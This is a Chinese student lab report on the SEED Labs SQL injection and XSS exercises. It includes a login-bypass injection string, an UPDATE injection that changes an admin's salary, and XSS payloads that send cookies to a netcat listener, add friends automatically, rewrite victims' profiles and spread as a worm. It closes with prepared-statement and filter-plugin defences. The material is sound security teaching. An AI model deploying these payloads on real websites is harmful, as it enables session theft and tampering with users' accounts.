20252819 2025-2026-2 《网络攻防实践》第十周作业
SEED SQL 注入与 XSS 跨站脚本攻击实验报告
一、实验名称
SEED SQL Injection 与 XSS Cross-Site Scripting 安全实验
二、实验目的
- 掌握 SQL 注入攻击的基本原理与利用方式
- 学习 SELECT 与 UPDATE 类型 SQL 注入攻击方法
- 理解预编译语句对 SQL 注入漏洞的防护机制
- 熟悉 XSS 跨站脚本攻击的实现过程
- 掌握 Cookie 窃取、自动添加好友、修改用户资料等 XSS 攻击方式
- 了解 XSS 蠕虫的传播原理以及防御措施
三、实验环境
| 项目 | 内容 |
|---|---|
| 实验平台 | SEED Labs |
| 操作系统 | Ubuntu |
| 数据库 | MySQL |
| Web 服务 | Apache |
| 浏览器 | Firefox |
| 实验类型 | Web 安全实验 |
实验准备
新建虚拟机



修改主机名

四、实验内容
4.1 SQL 注入攻击实验
4.1.1 查看数据库信息
首先进入数据库环境:密码为seedubuntu
mysql -u root -p

查看数据库:
show databases;

进入 Users 数据库并查看数据表:
use Users;
show tables;

发现其中存在 credential 数据表。
查看表中的全部数据:
select * from credential;

查询用户名为 Boby 的信息:
select * from credential where Name='Boby';

通过以上操作,可以确认数据库中保存了用户账号、密码以及其他个人信息。
4.1.2 SELECT 类型 SQL 注入攻击
实验目标是在不知道密码的情况下直接登录系统。
(1)分析登录过程
打开网站:
www.SEEDLabSQLInjection.com

随意输入用户名与密码后登录,并通过 F12 查看网络请求,发现系统使用 GET 请求访问:
unsafe_home.php

随后查看源码:
sudo vim /var/www/SQLInjection/unsafe_home.php



源码中的核心 SQL 语句如下:
SELECT id, name, eid, salary, birth, ssn, phoneNumber,
address, email, nickname, Password
FROM credential
WHERE name='$input_uname' and Password='$hashed_pwd';
可以发现用户输入的数据被直接拼接进 SQL 语句,没有任何过滤处理,因此存在 SQL 注入风险。
(2)构造注入语句
在用户名位置输入:
Alice'#
其中:
'用于结束原本的字符串#用于注释后面的密码部分
最终 SQL 语句会变成:
SELECT * FROM credential WHERE name='Alice'#' and Password='xxx';
数据库执行时会忽略后半部分密码判断,从而直接登录成功。

成功进入系统后,可以查看并修改用户资料。


4.1.3 UPDATE 类型 SQL 注入攻击
该实验主要利用 UPDATE 语句实现越权修改数据。
(1)分析更新逻辑
进入用户资料修改页面后,随意修改内容并保存。
通过抓包发现系统访问:
unsafe_edit_backend.php

查看源码:
vim /var/www/SQLInjection/unsafe_edit_backend.php

核心代码如下:
$sql = "UPDATE credential SET
nickname='$input_nickname',
email='$input_email',
address='$input_address',
Password='$hashed_pwd',
PhoneNumber='$input_phonenumber'
where ID=$id;";
系统本来的设计逻辑是:
- 当前用户只能修改自己的资料
- 通过
where ID=$id限制修改范围
但是由于输入内容直接拼接到 SQL 中,因此可以插入新的字段。
(2)实施攻击
在昵称输入框中输入:
', Salary='20252819' where name='Admin'#
最终数据库执行的语句会变为:
UPDATE credential
SET nickname='',
Salary='20252819'
where name='Admin'
这样就成功修改了管理员账户的工资信息。


实验说明:如果输入未经过严格过滤,攻击者就可以借助 UPDATE 语句篡改数据库中的任意内容。
4.1.4 SQL 注入防御
为了修复 SQL 注入漏洞,需要采用预编译语句。
首先修改文件权限:
sudo chmod u+w unsafe_home.php
编辑源码:
vim unsafe_home.php

将原本的 SQL 拼接方式改为预编译:
$sql = $conn->prepare(
"SELECT id, name, eid, salary,birth, ssn,
phoneNumber,address,email,nickname,Password
FROM credential WHERE name=? and Password=?;"
);
$sql->bind_param("ss",$input_uname,$hashed_pwd);

(1)预编译原理
预编译语句主要分为两个阶段:
第一阶段:SQL 结构编译
数据库会先解析 SQL 语句结构:
SELECT ... WHERE name=? and Password=?
此时 SQL 的逻辑已经固定。
第二阶段:参数绑定
用户输入的数据会被当作普通字符串处理:
$sql->bind_param("ss",$input_uname,$hashed_pwd);
即使输入:
Admin'#
数据库也只会把它当作普通文本,而不会再解析成 SQL 指令。
(2)测试结果
再次尝试使用:
Admin'#
进行登录时,发现已经无法绕过身份验证。

说明 SQL 注入漏洞修复成功。
4.2 XSS 跨站脚本攻击实验
4.2.1 弹窗攻击实验
打开网站:
http://www.xsslabelgg.com
使用以下账户登录:
用户名:Alice
密码:seedalice

进入个人资料编辑页面,在简介栏输入:
<script>alert("20252819csy");</script>

保存后,页面会自动弹出警告框。

说明用户输入的脚本被浏览器直接执行,存在 XSS 漏洞。
4.2.2 获取 Cookie 信息
将简介内容修改为:
<script>alert(document.cookie);</script>

保存后浏览器会直接弹出当前 Cookie 信息。

说明攻击者能够获取用户身份凭据。
4.2.3 窃取 Cookie
首先在终端开启监听:
nc -l 5555 -v

随后在简介中插入:
<script>
document.write(
'<img src=http://127.0.0.1:5555?c='
+ escape(document.cookie) + '>'
);
</script>

当页面加载时:
- 浏览器会自动访问攻击者服务器
- Cookie 会作为参数发送出去
监听终端即可收到受害者 Cookie 信息。

4.2.4 自动添加好友
该实验利用 XSS 自动调用网站接口。
在alice账户中选择“more”-“Members”,按F12查看网络流信息,选择boby添加为朋友,找编号信息。


删掉好友回到初始状态。根据上述信息构造payload
在 Alice 的个人资料中插入:
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl=
"http://www.xsslabelgg.com/action/friends/add?friend=45"
+ ts + token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader(
"Content-Type",
"application/x-www-form-urlencoded"
);
Ajax.send();
}
</script>
其中:
45表示 Boby 用户 ID- 页面加载后会自动发送加好友请求
![image]()
保存后访问页面,可以发现 Alice 已经自动关注 Boby。

4.2.5 修改受害者资料
在 “About me” 中插入恶意代码:
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=
token + ts +
"name=" + userName +
"&description=<p>20252819csy</p>" + guid;
var sendurl =
"http://www.xsslabelgg.com/action/profile/edit";
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader(
"Content-Type",
"application/x-www-form-urlencoded"
);
Ajax.send(content);
}
</script>

当其他用户访问页面时,其个人简介会被自动篡改。


说明攻击脚本已经能够实现远程控制用户资料。
4.2.6 XSS 蠕虫实验
为了实现自动传播,需要让恶意代码复制到其他用户页面中。
实验代码如下:
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag =
"<script id=\'worm\' type=\'text/javascript\'>";
var jsCode =
document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode =
encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=
token + ts +
"&name=" + userName +
"&description=<p>20252819csy arrived"
+ wormCode + "</p>" + guid;
var sendurl =
"http://www.xsslabelgg.com/action/profile/edit";
if(elgg.session.user.guid!=44){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader(
"Content-Type",
"application/x-www-form-urlencoded"
);
Ajax.send(content);
}
}
</script>
实验结果
将代码写入 Alice 的主页后:

-
Boby 访问 Alice 页面时被感染
-
Boby 的个人简介自动出现恶意脚本
![image]()
-
继续访问其他用户页面后,蠕虫继续扩散
![image]()
说明该 XSS 蠕虫具备自动传播能力。
4.2.7 XSS 攻击防御
登录管理员账户:
账号:admin
密码:seedelgg

进入:
Account → Administration → Plugins

找到插件:
HTMLawed
将其状态设置为:
activate
(显示的是deactivat)

该插件主要用于:
- 检测危险标签
- 过滤恶意脚本
- 防止浏览器执行非法代码
重新测试 XSS 攻击后,发现脚本已经无法执行。

说明过滤机制能够有效降低 XSS 风险。
五、学习中遇到的问题及解决
实验中有些代码很长,直接输入很容易出错,开始问ai说可以下载open-vm-tools,结果把环境弄崩了,只能重新安装seedubuntu,后来听同学说可以使用云便签,在主机和虚拟机同时访问云变签网站,可以在虚拟机复制主机中的代码,网址为https://webnote.cc/ ,在之后随便加域名例如https://webnote.cc/csy即可使用

六、实验总结
通过本次实验,我对 SQL 注入和 XSS 跨站脚本攻击有了更加直观的认识。实验过程中不仅学习了 SELECT、UPDATE 类型 SQL 注入的实现方式,还实际体验了利用脚本绕过登录、篡改数据库内容等攻击过程。同时,在 XSS 实验中,我进一步了解了弹窗攻击、Cookie 窃取、自动添加好友以及 XSS 蠕虫传播等常见攻击手段。整个实验让我认识到,如果 Web 应用没有对用户输入进行严格过滤,就非常容易被攻击者利用。除此之外,我也学习了使用预编译语句、防御插件等方法来修复安全漏洞,对 Web 安全防护机制有了更深入的理解。



浙公网安备 33010602011771号